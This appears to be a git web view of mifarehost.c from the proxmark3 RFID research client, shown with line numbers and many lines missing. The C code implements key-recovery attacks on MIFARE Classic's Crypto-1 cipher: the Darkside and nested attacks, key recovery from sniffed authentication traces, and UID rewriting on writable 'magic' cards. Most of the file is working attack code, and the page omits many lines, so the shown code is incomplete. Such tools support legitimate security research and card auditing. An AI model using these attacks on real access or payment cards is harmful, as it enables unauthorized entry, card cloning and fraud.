]>
 
 
cvs.zerfleddert.de Git - proxmark3-svn/blob - client/mifarehost.c 
 
 
 
 
 
 
 
6b5e3ba2312df8e4a9742ff45a09a08b21e5411a
   2  // people from mifare@nethemba.com, 2010  
   4  // This code is licensed to you under the terms of the GNU GPL, version 2 or,  
   5  // at your option, any later version. See the LICENSE.txt file for the text of  
   7  //-----------------------------------------------------------------------------  
   9  //-----------------------------------------------------------------------------  
  11  #include  "mifarehost.h"  
  18  #include  "crapto1/crapto1.h"  
  19  #include  "proxmark3.h"  
  24  #include  "iso14443crc.h"  
  26  // mifare tracer flags used in mfTraceDecode()  
  27  #define TRACE_IDLE                                              0x00  
  28  #define TRACE_AUTH1                                             0x01  
  29  #define TRACE_AUTH2                                             0x02  
  30  #define TRACE_AUTH_OK                                   0x03  
  31  #define TRACE_READ_DATA                                 0x04  
  32  #define TRACE_WRITE_OK                                  0x05  
  33  #define TRACE_WRITE_DATA                                0x06  
  34  #define TRACE_ERROR                                             0xFF  
  37  static int  compare_uint64 ( const void  * a
,  const void  * b
) {  
  38          // didn't work: (the result is truncated to 32 bits)  
  39          //return (*(int64_t*)b - *(int64_t*)a);  
  42          if  (*( uint64_t *) b 
== *( uint64_t *) a
)  return  0 ;  
  43          else if  (*( uint64_t *) b 
< *( uint64_t *) a
)  return  1 ;  
  48  // create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.  
  49  static uint32_t  intersection ( uint64_t  * list1
,  uint64_t  * list2
)  
  51          if  ( list1 
==  NULL 
||  list2 
==  NULL
) {  
  54          uint64_t  * p1
, * p2
, * p3
;  
  58          while  ( * p1 
!= - 1  && * p2 
!= - 1  ) {  
  59                  if  ( compare_uint64 ( p1
,  p2
) ==  0 ) {  
  64                          while  ( compare_uint64 ( p1
,  p2
) <  0 ) ++ p1
;  
  65                          while  ( compare_uint64 ( p1
,  p2
) >  0 ) ++ p2
;  
  73  // Darkside attack (hf mf mifare)  
  74  static uint32_t  nonce2key ( uint32_t  uid
,  uint32_t  nt
,  uint32_t  nr
,  uint64_t  par_info
,  uint64_t  ks_info
,  uint64_t  ** keys
) {  
  75          struct  Crypto1State 
* states
;  
  76          uint32_t  i
,  pos
,  rr
;  //nr_diff;  
  77          uint8_t  bt
,  ks3x
[ 8 ],  par
[ 8 ][ 8 ];  
  78          uint64_t  key_recovered
;  
  79          static uint64_t  * keylist
;  
  82          // Reset the last three significant bits of the reader nonce  
  85          for  ( pos
= 0 ;  pos
< 8 ;  pos
++) {  
  86                  ks3x
[ 7 - pos
] = ( ks_info 
>> ( pos
* 8 )) &  0x0f ;  
  87                  bt 
= ( par_info 
>> ( pos
* 8 )) &  0xff ;  
  89                                  par
[ 7 - pos
][ i
] = ( bt 
>>  i
) &  0x01 ;  
  93          states 
=  lfsr_common_prefix ( nr
,  rr
,  ks3x
,  par
, ( par_info 
==  0 ));  
 100          keylist 
= ( uint64_t *) states
;  
 102          for  ( i 
=  0 ;  keylist
[ i
];  i
++) {  
 103                  lfsr_rollback_word ( states
+ i
,  uid
^ nt
,  0 );  
 104                  crypto1_get_lfsr ( states
+ i
, & key_recovered
);  
 105                  keylist
[ i
] =  key_recovered
;  
 114  int  mfDarkside ( uint64_t  * key
)  
 117          uint32_t  nt 
=  0 ,  nr 
=  0 ;  
 118          uint64_t  par_list 
=  0 ,  ks_list 
=  0 ;  
 119          uint64_t  * keylist 
=  NULL
, * last_keylist 
=  NULL
;  
 120          uint32_t  keycount 
=  0 ;  
 123          UsbCommand c 
= { CMD_READER_MIFARE
, { true ,  0 ,  0 }};  
 126          printf ( "------------------------------------------------------------------------- \n " );  
 127          printf ( "Executing command. Expected execution time: 25sec on average \n " );  
 128          printf ( "Press button on the proxmark3 device to abort both proxmark3 and client. \n " );  
 129          printf ( "------------------------------------------------------------------------- \n " );  
 133                  clearCommandBuffer ();  
 138                          int  c 
=  getchar (); ( void )  c
;  
 151                          if  ( WaitForResponseTimeout ( CMD_ACK
, & resp
,  1000 )) {  
 156                                  uid 
= ( uint32_t ) bytes_to_num ( resp
. d
. asBytes 
+   0 ,  4 );  
 157                                  nt 
=  ( uint32_t ) bytes_to_num ( resp
. d
. asBytes 
+   4 ,  4 );  
 158                                  par_list 
=  bytes_to_num ( resp
. d
. asBytes 
+   8 ,  8 );  
 159                                  ks_list 
=  bytes_to_num ( resp
. d
. asBytes 
+   16 ,  8 );  
 160                                  nr 
=  bytes_to_num ( resp
. d
. asBytes 
+  24 ,  4 );  
 165                  if  ( par_list 
==  0  &&  c
. arg
[ 0 ] ==  true ) {  
 166                          PrintAndLog ( "Parity is all zero. Most likely this card sends NACK on every failed authentication." );  
 167                          PrintAndLog ( "Attack will take a few seconds longer because we need two consecutive successful runs." );  
 171                  keycount 
=  nonce2key ( uid
,  nt
,  nr
,  par_list
,  ks_list
, & keylist
);  
 174                          PrintAndLog ( "Key not found (lfsr_common_prefix list is null). Nt= %0 8x" ,  nt
);      
 175                          PrintAndLog ( "This is expected to happen in 25%% of all cases. Trying again with a different reader nonce..." );  
 179                  qsort ( keylist
,  keycount
,  sizeof (* keylist
),  compare_uint64
);  
 180                  keycount 
=  intersection ( last_keylist
,  keylist
);  
 183                          last_keylist 
=  keylist
;  
 188                          PrintAndLog ( "Found  %u  possible keys. Trying to authenticate with each of them ... \n " ,  keycount
);  
 190                          PrintAndLog ( "Found a possible key. Trying to authenticate... \n " );  
 194                  uint8_t  keyBlock
[ USB_CMD_DATA_SIZE
];  
 195                  int  max_keys 
=  USB_CMD_DATA_SIZE
/ 6 ;  
 196                  for  ( int  i 
=  0 ;  i 
<  keycount
;  i 
+=  max_keys
) {  
 197                          int  size 
=  keycount 
-  i 
>  max_keys 
?  max_keys 
:  keycount 
-  i
;  
 198                          for  ( int  j 
=  0 ;  j 
<  size
;  j
++) {  
 199                                  if  ( last_keylist 
==  NULL
) {  
 200                                          num_to_bytes ( keylist
[ i
* max_keys 
+  j
],  6 ,  keyBlock
);  
 202                                          num_to_bytes ( last_keylist
[ i
* max_keys 
+  j
],  6 ,  keyBlock
);  
 205                          if  (! mfCheckKeys ( 0 ,  0 ,  false ,  size
,  keyBlock
,  key
)) {  
 215                          PrintAndLog ( "Authentication failed. Trying again..." );  
 217                          last_keylist 
=  keylist
;  
 225  int  mfCheckKeys  ( uint8_t  blockNo
,  uint8_t  keyType
,  bool  clear_trace
,  uint8_t  keycnt
,  uint8_t  *  keyBlock
,  uint64_t  *  key
){  
 229          UsbCommand c 
= { CMD_MIFARE_CHKKEYS
, {(( blockNo 
&  0xff ) | (( keyType
& 0xff )<< 8 )),  clear_trace
,  keycnt
}};  
 230          memcpy ( c
. d
. asBytes
,  keyBlock
,  6  *  keycnt
);  
 234          if  (! WaitForResponseTimeout ( CMD_ACK
,& resp
, 3000 ))  return  1 ;  
 235          if  (( resp
. arg
[ 0 ] &  0xff ) !=  0x01 )  return  2 ;  
 236          * key 
=  bytes_to_num ( resp
. d
. asBytes
,  6 );  
 240  // Compare 16 Bits out of cryptostate  
 241  int  Compare16Bits ( const void  *  a
,  const void  *  b
) {  
 242          if  ((*( uint64_t *) b 
&  0x00ff000000ff0000 ) == (*( uint64_t *) a 
&  0x00ff000000ff0000 ))  return  0 ;  
 243          else if  ((*( uint64_t *) b 
&  0x00ff000000ff0000 ) > (*( uint64_t *) a 
&  0x00ff000000ff0000 ))  return  1 ;  
 250                          struct  Crypto1State 
* slhead
;  
 254                          struct  Crypto1State 
* sltail
;  
 266  // wrapper function for multi-threaded lfsr_recovery32  
 267  void *  nested_worker_thread ( void  * arg
)  
 269          struct  Crypto1State 
* p1
;  
 270          StateList_t 
* statelist 
=  arg
;  
 272          statelist
-> head
. slhead 
=  lfsr_recovery32 ( statelist
-> ks1
,  statelist
-> nt 
^  statelist
-> uid
);  
 273          for  ( p1 
=  statelist
-> head
. slhead
; *( uint64_t  *) p1 
!=  0 ;  p1
++);  
 274          statelist
-> len 
=  p1 
-  statelist
-> head
. slhead
;  
 275          statelist
-> tail
. sltail 
= -- p1
;  
 276          qsort ( statelist
-> head
. slhead
,  statelist
-> len
,  sizeof ( uint64_t ),  Compare16Bits
);  
 278          return  statelist
-> head
. slhead
;  
 281  int  mfnested ( uint8_t  blockNo
,  uint8_t  keyType
,  uint8_t  * key
,  uint8_t  trgBlockNo
,  uint8_t  trgKeyType
,  uint8_t  * resultKey
,  bool  calibrate
)   
 287          StateList_t statelists
[ 2 ];  
 288          struct  Crypto1State 
* p1
, * p2
, * p3
, * p4
;  
 291          WaitForResponseTimeout ( CMD_ACK
,  NULL
,  100 );  
 293          UsbCommand c 
= { CMD_MIFARE_NESTED
, { blockNo 
+  keyType 
*  0x100 ,  trgBlockNo 
+  trgKeyType 
*  0x100 ,  calibrate
}};  
 294          memcpy ( c
. d
. asBytes
,  key
,  6 );  
 297          if  (! WaitForResponseTimeout ( CMD_ACK
, & resp
,  1500 )) {  
 302                  return  resp
. arg
[ 0 ];   // error during nested  
 305          memcpy (& uid
,  resp
. d
. asBytes
,  4 );  
 306          PrintAndLog ( "uid: %0 8x trgbl= %d  trgkey= %x " ,  uid
, ( uint16_t ) resp
. arg
[ 2 ] &  0xff , ( uint16_t ) resp
. arg
[ 2 ] >>  8 );  
 308          for  ( i 
=  0 ;  i 
<  2 ;  i
++) {  
 309                  statelists
[ i
]. blockNo 
=  resp
. arg
[ 2 ] &  0xff ;  
 310                  statelists
[ i
]. keyType 
= ( resp
. arg
[ 2 ] >>  8 ) &  0xff ;  
 311                  statelists
[ i
]. uid 
=  uid
;  
 312                  memcpy (& statelists
[ i
]. nt
,  ( void  *)( resp
. d
. asBytes 
+  4  +  i 
*  8  +  0 ),  4 );  
 313                  memcpy (& statelists
[ i
]. ks1
, ( void  *)( resp
. d
. asBytes 
+  4  +  i 
*  8  +  4 ),  4 );  
 318          pthread_t thread_id
[ 2 ];  
 320          // create and run worker threads  
 321          for  ( i 
=  0 ;  i 
<  2 ;  i
++) {  
 322                  pthread_create ( thread_id 
+  i
,  NULL
,  nested_worker_thread
, & statelists
[ i
]);  
 325          // wait for threads to terminate:  
 326          for  ( i 
=  0 ;  i 
<  2 ;  i
++) {  
 327                  pthread_join ( thread_id
[ i
], ( void *)& statelists
[ i
]. head
. slhead
);  
 331          // the first 16 Bits of the cryptostate already contain part of our key.  
 332          // Create the intersection of the two lists based on these 16 Bits and  
 333          // roll back the cryptostate  
 334          p1 
=  p3 
=  statelists
[ 0 ]. head
. slhead
;   
 335          p2 
=  p4 
=  statelists
[ 1 ]. head
. slhead
;  
 336          while  ( p1 
<=  statelists
[ 0 ]. tail
. sltail 
&&  p2 
<=  statelists
[ 1 ]. tail
. sltail
) {  
 337                  if  ( Compare16Bits ( p1
,  p2
) ==  0 ) {  
 338                          struct  Crypto1State savestate
, * savep 
= & savestate
;  
 340                          while ( Compare16Bits ( p1
,  savep
) ==  0  &&  p1 
<=  statelists
[ 0 ]. tail
. sltail
) {  
 342                                  lfsr_rollback_word ( p3
,  statelists
[ 0 ]. nt 
^  statelists
[ 0 ]. uid
,  0 );  
 347                          while ( Compare16Bits ( p2
,  savep
) ==  0  &&  p2 
<=  statelists
[ 1 ]. tail
. sltail
) {  
 349                                  lfsr_rollback_word ( p4
,  statelists
[ 1 ]. nt 
^  statelists
[ 1 ]. uid
,  0 );  
 355                          while  ( Compare16Bits ( p1
,  p2
) == - 1 )  p1
++;  
 356                          while  ( Compare16Bits ( p1
,  p2
) ==  1 )  p2
++;  
 361          statelists
[ 0 ]. len 
=  p3 
-  statelists
[ 0 ]. head
. slhead
;  
 362          statelists
[ 1 ]. len 
=  p4 
-  statelists
[ 1 ]. head
. slhead
;  
 363          statelists
[ 0 ]. tail
. sltail
=-- p3
;  
 364          statelists
[ 1 ]. tail
. sltail
=-- p4
;  
 366          // the statelists now contain possible keys. The key we are searching for must be in the  
 367          // intersection of both lists. Create the intersection:  
 368          qsort ( statelists
[ 0 ]. head
. keyhead
,  statelists
[ 0 ]. len
,  sizeof ( uint64_t ),  compare_uint64
);  
 369          qsort ( statelists
[ 1 ]. head
. keyhead
,  statelists
[ 1 ]. len
,  sizeof ( uint64_t ),  compare_uint64
);  
 370          statelists
[ 0 ]. len 
=  intersection ( statelists
[ 0 ]. head
. keyhead
,  statelists
[ 1 ]. head
. keyhead
);  
 372          memset ( resultKey
,  0 ,  6 );  
 373          // The list may still contain several key candidates. Test each of them with mfCheckKeys  
 374          for  ( i 
=  0 ;  i 
<  statelists
[ 0 ]. len
;  i
++) {  
 377                  crypto1_get_lfsr ( statelists
[ 0 ]. head
. slhead 
+  i
, & key64
);  
 378                  num_to_bytes ( key64
,  6 ,  keyBlock
);  
 380                  if  (! mfCheckKeys ( statelists
[ 0 ]. blockNo
,  statelists
[ 0 ]. keyType
,  false ,  1 ,  keyBlock
, & key64
)) {  
 381                          num_to_bytes ( key64
,  6 ,  resultKey
);  
 386          free ( statelists
[ 0 ]. head
. slhead
);  
 387          free ( statelists
[ 1 ]. head
. slhead
);  
 394  int  mfEmlGetMem ( uint8_t  * data
,  int  blockNum
,  int  blocksCount
) {  
 395          UsbCommand c 
= { CMD_MIFARE_EML_MEMGET
, { blockNum
,  blocksCount
,  0 }};  
 399          if  (! WaitForResponseTimeout ( CMD_ACK
,& resp
, 1500 ))  return  1 ;  
 400          memcpy ( data
,  resp
. d
. asBytes
,  blocksCount 
*  16 );  
 404  int  mfEmlSetMem ( uint8_t  * data
,  int  blockNum
,  int  blocksCount
) {  
 405          UsbCommand c 
= { CMD_MIFARE_EML_MEMSET
, { blockNum
,  blocksCount
,  0 }};  
 406          memcpy ( c
. d
. asBytes
,  data
,  blocksCount 
*  16 );   
 413  int  mfCGetBlock ( uint8_t  blockNo
,  uint8_t  * data
,  uint8_t  params
) {  
 416          UsbCommand c 
= { CMD_MIFARE_CGETBLOCK
, { params
,  0 ,  blockNo
}};  
 420          if  ( WaitForResponseTimeout ( CMD_ACK
,& resp
, 1500 )) {  
 421                  isOK  
=  resp
. arg
[ 0 ] &  0xff ;  
 422                  memcpy ( data
,  resp
. d
. asBytes
,  16 );  
 425                  PrintAndLog ( "Command execute timeout" );  
 431  int  mfCSetBlock ( uint8_t  blockNo
,  uint8_t  * data
,  uint8_t  * uid
,  bool  wantWipe
,  uint8_t  params
) {  
 434          UsbCommand c 
= { CMD_MIFARE_CSETBLOCK
, { wantWipe
,  params 
& ( 0xFE  | ( uid 
==  NULL 
?  0 : 1 )),  blockNo
}};  
 435          memcpy ( c
. d
. asBytes
,  data
,  16 );   
 439          if  ( WaitForResponseTimeout ( CMD_ACK
,& resp
, 1500 )) {  
 440                  isOK  
=  resp
. arg
[ 0 ] &  0xff ;  
 442                          memcpy ( uid
,  resp
. d
. asBytes
,  4 );  
 446                  PrintAndLog ( "Command execute timeout" );  
 452  int  mfCSetUID ( uint8_t  * uid
,  uint8_t  * atqa
,  uint8_t  * sak
,  uint8_t  * oldUID
,  bool  wantWipe
) {  
 453          uint8_t  oldblock0
[ 16 ] = { 0x00 };  
 454          uint8_t  block0
[ 16 ] = { 0x00 };  
 456          int  old 
=  mfCGetBlock ( 0 ,  oldblock0
,  CSETBLOCK_SINGLE_OPER
);  
 458                  memcpy ( block0
,  oldblock0
,  16 );  
 459                  PrintAndLog ( "old block 0:   %s " ,  sprint_hex ( block0
, 16 ));  
 461                  PrintAndLog ( "Couldn't get old data. Will write over the last bytes of Block 0." );  
 464          // fill in the new values  
 466          memcpy ( block0
,  uid
,  4 );   
 468          block0
[ 4 ] =  block0
[ 0 ]^ block0
[ 1 ]^ block0
[ 2 ]^ block0
[ 3 ];  
 469          // mifare classic SAK(byte 5) and ATQA(byte 6 and 7, reversed)  
 476          PrintAndLog ( "new block 0:   %s " ,  sprint_hex ( block0
, 16 ));  
 477          return  mfCSetBlock ( 0 ,  block0
,  oldUID
,  wantWipe
,  CSETBLOCK_SINGLE_OPER
);  
 483  static uint8_t  trailerAccessBytes
[ 4 ] = { 0x08 ,  0x77 ,  0x8F ,  0x00 };  
 486  char  logHexFileName
[ FILE_PATH_SIZE
] = { 0x00 };  
 487  static uint8_t  traceCard
[ 4096 ] = { 0x00 };  
 488  static char  traceFileName
[ FILE_PATH_SIZE
] = { 0x00 };  
 489  static int  traceState 
=  TRACE_IDLE
;  
 490  static uint8_t  traceCurBlock 
=  0 ;  
 491  static uint8_t  traceCurKey 
=  0 ;  
 493  struct  Crypto1State 
* traceCrypto1 
=  NULL
;  
 495  struct  Crypto1State 
* revstate
;  
 500  uint32_t  uid
;      // serial number  
 501  uint32_t  nt
;       // tag challenge  
 502  uint32_t  nr_enc
;   // encrypted reader challenge  
 503  uint32_t  ar_enc
;   // encrypted reader response  
 504  uint32_t  at_enc
;   // encrypted tag response  
 506  int  isTraceCardEmpty ( void ) {  
 507          return  (( traceCard
[ 0 ] ==  0 ) && ( traceCard
[ 1 ] ==  0 ) && ( traceCard
[ 2 ] ==  0 ) && ( traceCard
[ 3 ] ==  0 ));  
 510  int  isBlockEmpty ( int  blockN
) {  
 511          for  ( int  i 
=  0 ;  i 
<  16 ;  i
++)   
 512                  if  ( traceCard
[ blockN 
*  16  +  i
] !=  0 )  return  0 ;  
 517  int  isBlockTrailer ( int  blockN
) {  
 518   return  (( blockN 
&  0x03 ) ==  0x03 );  
 521  int  saveTraceCard ( void ) {  
 524          if  ((! strlen ( traceFileName
)) || ( isTraceCardEmpty ()))  return  0 ;  
 526          f 
=  fopen ( traceFileName
,  "w+" );  
 529          for  ( int  i 
=  0 ;  i 
<  64 ;  i
++) {   // blocks  
 530                  for  ( int  j 
=  0 ;  j 
<  16 ;  j
++)   // bytes  
 531                          fprintf ( f
,  " %0 2x" , *( traceCard 
+  i 
*  16  +  j
));   
 538  int  loadTraceCard ( uint8_t  * tuid
) {  
 540          char  buf
[ 64 ] = { 0x00 };  
 541          uint8_t  buf8
[ 64 ] = { 0x00 };  
 544          if  (! isTraceCardEmpty ())   
 547          memset ( traceCard
,  0x00 ,  4096 );  
 548          memcpy ( traceCard
,  tuid 
+  3 ,  4 );  
 550          FillFileNameByUID ( traceFileName
,  tuid
,  ".eml" ,  7 );  
 552          f 
=  fopen ( traceFileName
,  "r" );  
 559                  memset ( buf
,  0 ,  sizeof ( buf
));  
 560                  if  ( fgets ( buf
,  sizeof ( buf
),  f
) ==  NULL
) {  
 561                          PrintAndLog ( "File reading error." );  
 566                  if  ( strlen ( buf
) <  32 ){  
 568                          PrintAndLog ( "File content error. Block data must include 32 HEX symbols" );  
 572                  for  ( i 
=  0 ;  i 
<  32 ;  i 
+=  2 )  
 573                          sscanf (& buf
[ i
],  " %0 2x" , ( unsigned int  *)& buf8
[ i 
/  2 ]);  
 575                  memcpy ( traceCard 
+  blockNum 
*  16 ,  buf8
,  16 );  
 584  int  mfTraceInit ( uint8_t  * tuid
,  uint8_t  * atqa
,  uint8_t  sak
,  bool  wantSaveToEmlFile
) {  
 587                  crypto1_destroy ( traceCrypto1
);  
 591          if  ( wantSaveToEmlFile
)   
 594          traceCard
[ 4 ] =  traceCard
[ 0 ] ^  traceCard
[ 1 ] ^  traceCard
[ 2 ] ^  traceCard
[ 3 ];  
 596          memcpy (& traceCard
[ 6 ],  atqa
,  2 );  
 598          uid 
=  bytes_to_num ( tuid 
+  3 ,  4 );  
 600          traceState 
=  TRACE_IDLE
;  
 605  void  mf_crypto1_decrypt ( struct  Crypto1State 
* pcs
,  uint8_t  * data
,  int  len
,  bool  isEncrypted
){  
 610                  for  ( i 
=  0 ;  i 
<  len
;  i
++)  
 611                          data
[ i
] =  crypto1_byte ( pcs
,  0x00 ,  isEncrypted
) ^  data
[ i
];  
 614                  for  ( i 
=  0 ;  i 
<  4 ;  i
++)  
 615                          bt 
|= ( crypto1_bit ( pcs
,  0 ,  isEncrypted
) ^  BIT ( data
[ 0 ],  i
)) <<  i
;  
 623  int  mfTraceDecode ( uint8_t  * data_src
,  int  len
,  bool  wantSaveToEmlFile
) {  
 626          if  ( traceState 
==  TRACE_ERROR
)  return  1 ;  
 628                  traceState 
=  TRACE_ERROR
;  
 632          memcpy ( data
,  data_src
,  len
);  
 633          if  (( traceCrypto1
) && (( traceState 
==  TRACE_IDLE
) || ( traceState 
>  TRACE_AUTH_OK
))) {  
 634                  mf_crypto1_decrypt ( traceCrypto1
,  data
,  len
,  0 );  
 635                  PrintAndLog ( "dec>  %s " ,  sprint_hex ( data
,  len
));  
 636                  AddLogHex ( logHexFileName
,  "dec> " ,  data
,  len
);   
 639          switch  ( traceState
) {  
 641                  // check packet crc16!  
 642                  if  (( len 
>=  4 ) && (! CheckCrc14443 ( CRC_14443_A
,  data
,  len
))) {  
 643                          PrintAndLog ( "dec> CRC ERROR!!!" );  
 644                          AddLogLine ( logHexFileName
,  "dec> " ,  "CRC ERROR!!!" );   
 645                          traceState 
=  TRACE_ERROR
;   // do not decrypt the next commands  
 650                  if  (( len 
== 4 ) && (( data
[ 0 ] ==  0x60 ) || ( data
[ 0 ] ==  0x61 ))) {  
 651                          traceState 
=  TRACE_AUTH1
;  
 652                          traceCurBlock 
=  data
[ 1 ];  
 653                          traceCurKey 
=  data
[ 0 ] ==  60  ?  1 : 0 ;  
 658                  if  (( len 
== 4 ) && (( data
[ 0 ] ==  0x30 ))) {  
 659                          traceState 
=  TRACE_READ_DATA
;  
 660                          traceCurBlock 
=  data
[ 1 ];  
 665                  if  (( len 
== 4 ) && (( data
[ 0 ] ==  0xA0 ))) {  
 666                          traceState 
=  TRACE_WRITE_OK
;  
 667                          traceCurBlock 
=  data
[ 1 ];  
 672                  if  (( len 
== 4 ) && (( data
[ 0 ] ==  0x50 ) && ( data
[ 1 ] ==  0x00 ))) {  
 673                          traceState 
=  TRACE_ERROR
;   // do not decrypt the next commands  
 680          case  TRACE_READ_DATA
:   
 682                          traceState 
=  TRACE_IDLE
;  
 684                          if  ( isBlockTrailer ( traceCurBlock
)) {  
 685                                  memcpy ( traceCard 
+  traceCurBlock 
*  16  +  6 ,  data 
+  6 ,  4 );  
 687                                  memcpy ( traceCard 
+  traceCurBlock 
*  16 ,  data
,  16 );  
 689                          if  ( wantSaveToEmlFile
)  saveTraceCard ();  
 692                          traceState 
=  TRACE_ERROR
;  
 698                  if  (( len 
==  1 ) && ( data
[ 0 ] ==  0x0a )) {  
 699                          traceState 
=  TRACE_WRITE_DATA
;  
 703                          traceState 
=  TRACE_ERROR
;  
 708          case  TRACE_WRITE_DATA
:   
 710                          traceState 
=  TRACE_IDLE
;  
 712                          memcpy ( traceCard 
+  traceCurBlock 
*  16 ,  data
,  16 );  
 713                          if  ( wantSaveToEmlFile
)  saveTraceCard ();  
 716                          traceState 
=  TRACE_ERROR
;  
 723                          traceState 
=  TRACE_AUTH2
;  
 724                          nt 
=  bytes_to_num ( data
,  4 );  
 727                          traceState 
=  TRACE_ERROR
;  
 734                          traceState 
=  TRACE_AUTH_OK
;  
 736                          nr_enc 
=  bytes_to_num ( data
,  4 );  
 737                          ar_enc 
=  bytes_to_num ( data 
+  4 ,  4 );  
 740                          traceState 
=  TRACE_ERROR
;  
 747                          traceState 
=  TRACE_IDLE
;  
 749                          at_enc 
=  bytes_to_num ( data
,  4 );  
 752                          ks2 
=  ar_enc 
^  prng_successor ( nt
,  64 );  
 753                          ks3 
=  at_enc 
^  prng_successor ( nt
,  96 );  
 754                          revstate 
=  lfsr_recovery64 ( ks2
,  ks3
);  
 755                          lfsr_rollback_word ( revstate
,  0 ,  0 );  
 756                          lfsr_rollback_word ( revstate
,  0 ,  0 );  
 757                          lfsr_rollback_word ( revstate
,  nr_enc
,  1 );  
 758                          lfsr_rollback_word ( revstate
,  uid 
^  nt
,  0 );  
 760                          crypto1_get_lfsr ( revstate
, & lfsr
);  
 761                          printf ( "key>  %x%x \n " , ( unsigned int )(( lfsr 
&  0xFFFFFFFF00000000 ) >>  32 ), ( unsigned int )( lfsr 
&  0xFFFFFFFF ));  
 762                          AddLogUint64 ( logHexFileName
,  "key> " ,  lfsr
);   
 764                          int  blockShift 
= (( traceCurBlock 
&  0xFC ) +  3 ) *  16 ;  
 765                          if  ( isBlockEmpty (( traceCurBlock 
&  0xFC ) +  3 ))  memcpy ( traceCard 
+  blockShift 
+  6 ,  trailerAccessBytes
,  4 );  
 768                                  num_to_bytes ( lfsr
,  6 ,  traceCard 
+  blockShift 
+  10 );  
 770                                  num_to_bytes ( lfsr
,  6 ,  traceCard 
+  blockShift
);  
 772                          if  ( wantSaveToEmlFile
)  saveTraceCard ();  
 775                                  crypto1_destroy ( traceCrypto1
);  
 778                          // set cryptosystem state  
 779                          traceCrypto1 
=  lfsr_recovery64 ( ks2
,  ks3
);  
 781  //      nt = crypto1_word(traceCrypto1, nt ^ uid, 1) ^ nt;  
 783          /*      traceCrypto1 = crypto1_create(lfsr); // key in lfsr  
 784                  crypto1_word(traceCrypto1, nt ^ uid, 0);  
 785                  crypto1_word(traceCrypto1, ar, 1);  
 786                  crypto1_word(traceCrypto1, 0, 0);  
 787                  crypto1_word(traceCrypto1, 0, 0);*/  
 791                          traceState 
=  TRACE_ERROR
;  
 797                  traceState 
=  TRACE_ERROR
;  
 804  int  tryDecryptWord ( uint32_t  nt
,  uint32_t  ar_enc
,  uint32_t  at_enc
,  uint8_t  * data
,  int  len
){  
 806          uint32_t nt;      // tag challenge  
 807          uint32_t ar_enc;  // encrypted reader response  
 808          uint32_t at_enc;  // encrypted tag response  
 811                  crypto1_destroy ( traceCrypto1
);  
 813          ks2 
=  ar_enc 
^  prng_successor ( nt
,  64 );  
 814          ks3 
=  at_enc 
^  prng_successor ( nt
,  96 );  
 815          traceCrypto1 
=  lfsr_recovery64 ( ks2
,  ks3
);  
 817          mf_crypto1_decrypt ( traceCrypto1
,  data
,  len
,  0 );  
 819          PrintAndLog ( "Decrypted data: [ %s ]" ,  sprint_hex ( data
, len
) );  
 820          crypto1_destroy ( traceCrypto1
);